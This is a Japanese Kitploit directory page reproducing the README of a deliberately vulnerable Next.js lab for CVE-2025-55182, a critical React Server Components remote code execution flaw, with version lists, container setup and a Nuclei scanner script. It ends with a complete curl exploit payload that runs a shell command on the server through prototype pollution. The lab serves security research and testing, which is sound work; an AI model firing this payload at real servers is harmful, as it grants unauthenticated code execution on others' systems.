Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
React2Shell-CVE-2025-55182-Testing-Environment — CVE-2025-55182(React Server Componentsにおける重大な(CVSS 10.0)リモートコード実行脆弱性)のためのコンテナ化テスト環境。 | Kitploit
ツール/GitHubGitHub/abcfabian/react2shell-cve-2025-55182-testing-environment
コンテナセキュリティ脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテスト学習と教育ラボと実践
GitHubabcfabian/react2shell-cve-2025-55182-testing-environment

React2Shell-CVE-2025-55182-Testing-Environment

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-55182(React Server Componentsにおける重大な(CVSS 10.0)リモートコード実行脆弱性)のためのコンテナ化テスト環境。

リポジトリを見る
18ヶ月前未レビュー

React2Shell (CVE-2025-55182) テスト環境

CVE-2025-55182 のコンテナ化テスト環境。React Server Components における重大な (CVSS 10.0) リモートコード実行脆弱性です。

⚠️ 警告

この環境は意図的に脆弱であり、以下の目的にのみ使用すべきです:

  • セキュリティ研究と教育
  • 隔離環境でのペネトレーションテスト
  • 脆弱性のメカニズムの理解

使用禁止:

  • 本番環境へのデプロイ
  • インターネットへの公開
  • 悪意のある目的での使用

脆弱性の詳細

  • CVE: CVE-2025-55182 (React), CVE-2025-66478 (Next.js)
  • 重要度: Critical (10.0)
  • タイプ: 認証不要のリモートコード実行
  • 影響を受ける: Next.js 15.x/16.x App Router の React Server Components
  • 弱点: CWE-502 (信頼されていないデータのデシリアライゼーション)

影響を受けるバージョン

React パッケージ:

  • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0

Next.js:

  • 15.0.0 - 15.0.4
  • 15.1.0 - 15.1.8
  • 15.2.0 - 15.2.5
  • 15.3.0 - 15.3.5
  • 15.4.0 - 15.4.7
  • 15.5.0 - 15.5.6
  • 16.0.0 - 16.0.6

修正済みバージョン

React: 19.0.1, 19.1.2, 19.2.1 Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

クイックスタート

Podman を使用 (macOS)

root@kitploit:~
# Build and start the vulnerable environment
podman compose up --build -d

# Check it's running
curl http://localhost:3000/api/status

# View logs
podman logs -f react2shell-vuln

# Stop
podman compose down

Docker Compose を使用

root@kitploit:~
# Build and start the vulnerable environment
docker-compose up --build -d

# Access the application at http://localhost:3000

プロジェクト構造

root@kitploit:~
.
├── README.md               # このファイル
├── Dockerfile              # コンテナビルド手順
├── Dockerfile.dev          # ホットリロード対応の開発用コンテナ
├── docker-compose.yml      # Docker/Podman Compose 設定
├── CVE-2025-55182.yaml     # Nuclei スキャナテンプレート
├── scan.sh                 # 汎用 Nuclei スキャナスクリプト
├── scan-results/           # スキャン出力ディレクトリ
└── vulnerable-app/         # 脆弱な Next.js アプリケーション
    ├── package.json        # 依存関係 (脆弱なバージョン)
    ├── next.config.js      # Next.js 設定
    ├── tsconfig.json       # TypeScript 設定
    └── app/                # App Router のページとコンポーネント
        ├── layout.tsx      # ルートレイアウト
        ├── page.tsx        # Server Components を含むメインページ
        ├── globals.css     # スタイル
        ├── actions.ts      # Server Actions
        ├── api/status/     # ステータス API エンドポイント
        └── components/     # React コンポーネント

脆弱性のスキャン

Nuclei テンプレートのダウンロード

テンプレートがない場合は、公式の nuclei-templates リポジトリからダウンロードしてください:

root@kitploit:~
curl -o CVE-2025-55182.yaml https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-55182.yaml

スキャナスクリプトの使用

同梱の scan.sh は、Docker と Podman の両方で動作する汎用 Nuclei コンテナスキャナです。

root@kitploit:~
# Scan the local vulnerable app
./scan.sh -u http://host.docker.internal:3000 -t CVE-2025-55182.yaml -v

# Scan any target
./scan.sh -u https://example.com -t CVE-2025-55182.yaml

# Scan with all Nuclei templates
./scan.sh -u https://example.com

# Scan multiple targets from a file
./scan.sh -l targets.txt -t CVE-2025-55182.yaml

# Filter by severity
./scan.sh -u https://example.com -s critical,high

# JSON output
./scan.sh -u https://example.com -t CVE-2025-55182.yaml -j

スキャナオプション

手動 Nuclei スキャン (Podman)

root@kitploit:~
podman run --rm \
    -v "$(pwd)/CVE-2025-55182.yaml:/templates/CVE-2025-55182.yaml:ro" \
    docker.io/projectdiscovery/nuclei:latest \
    -t /templates/CVE-2025-55182.yaml \
    -u "http://host.docker.internal:3000" \
    -v

脆弱性のテスト

コンテナが実行中になったら:

  1. アプリケーションにアクセス http://localhost:3000
  2. ステータスAPIを確認: http://localhost:3000/api/status
  3. スキャナを実行して脆弱性検出を確認
  4. アプリケーションは Next.js App Router 経由で React Server Components を使用

注: この脆弱性は RSC プロトコルにおける安全でないデシリアライゼーションを含みます。Nuclei テンプレートはこの特定の攻撃ベクトルをテストします。

修正版への切り替え

修正版をテストするには、vulnerable-app/package.json を変更します:

root@kitploit:~
{
  "dependencies": {
    "next": "15.5.7",
    "react": "^19.1.2",
    "react-dom": "^19.1.2"
  }
}

その後、再ビルド:

root@kitploit:~
# Podman
podman compose down
podman compose up --build -d

# Docker
docker-compose down
docker-compose up --build

参考文献

  • React セキュリティ勧告
  • Next.js セキュリティ勧告
  • React ブログ投稿
  • react2shell.com
  • Nuclei テンプレート

免責事項

このテスト環境は教育およびセキュリティ研究目的のみで提供されています。メンテナは本ソフトウェアの誤用について一切の責任を負いません。セキュリティ脆弱性をテストする前に、必ず適切な許可を取得してください。

Curl エクスプロイトの例

root@kitploit:~
curl -X POST http://localhost:3000 \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \
  -H "X-Nextjs-Request-Id: test123" \
  --data-binary $'------WebKitFormBoundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\\"then\\":\\"$B1337\\"}",
  "_response": {
    "_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary--' \
  -i 2>&1 | grep -i "x-action-redirect"
ツールをダウンロード
オプション説明
-u, --url <url>スキャンする単一ターゲットURL
-l, --list <file>ターゲットURLのリストを含むファイル
-t, --template <file>カスタムテンプレートファイルまたはディレクトリ
-o, --output <dir>出力ディレクトリ (デフォルト: ./scan-results)
-s, --severity <level>フィルタ: info, low, medium, high, critical
-r, --rate-limit <n>1秒あたりの最大リクエスト数
-j, --json結果をJSON形式で出力
-v, --verbose詳細出力
-h, --helpヘルプメッセージを表示